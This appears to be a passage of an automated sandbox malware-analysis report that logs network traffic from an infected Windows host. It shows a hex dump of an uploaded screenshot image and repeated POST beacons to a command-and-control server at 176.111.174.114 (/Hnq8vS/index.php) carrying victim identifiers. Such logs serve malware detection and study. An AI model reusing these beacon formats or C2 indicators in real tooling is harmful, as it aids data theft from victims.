b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:25.731977940 CEST	6992	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:25.732031107 CEST	6994	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:25.732105017 CEST	6997	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:25.732234955 CEST	7000	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:25.732424974 CEST	7003	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:25.732793093 CEST	7005	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:25.733066082 CEST	7008	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:25.733357906 CEST	7011	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:25.733563900 CEST	7013	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:23:25.733963966 CEST	7016	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
392	176.111.174.114	80	192.168.2.5	49944	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:25.643238068 CEST	6989	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
393	192.168.2.5	49946	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:25.858830929 CEST	7070	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
394	176.111.174.114	80	192.168.2.5	49946	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:25.963965893 CEST	7163	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
395	176.111.174.114	80	192.168.2.5	49945	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:26.032661915 CEST	7164	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
396	192.168.2.5	49948	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:26.174561977 CEST	7165	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
397	176.111.174.114	80	192.168.2.5	49948	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:26.274586916 CEST	7165	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
398	192.168.2.5	49949	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:26.480421066 CEST	7166	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
399	176.111.174.114	80	192.168.2.5	49949	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:26.583805084 CEST	7166	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49713	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:22.523286104 CEST	1530	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49731	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:29.748229027 CEST	1583	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
400	192.168.2.5	49950	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:26.794331074 CEST	8585	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
401	176.111.174.114	80	192.168.2.5	49950	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:26.895176888 CEST	8805	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
402	192.168.2.5	49951	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:27.106225967 CEST	8805	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
403	176.111.174.114	80	192.168.2.5	49951	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:27.206912041 CEST	8895	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
404	192.168.2.5	49953	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:27.421433926 CEST	8896	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
405	176.111.174.114	80	192.168.2.5	49953	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
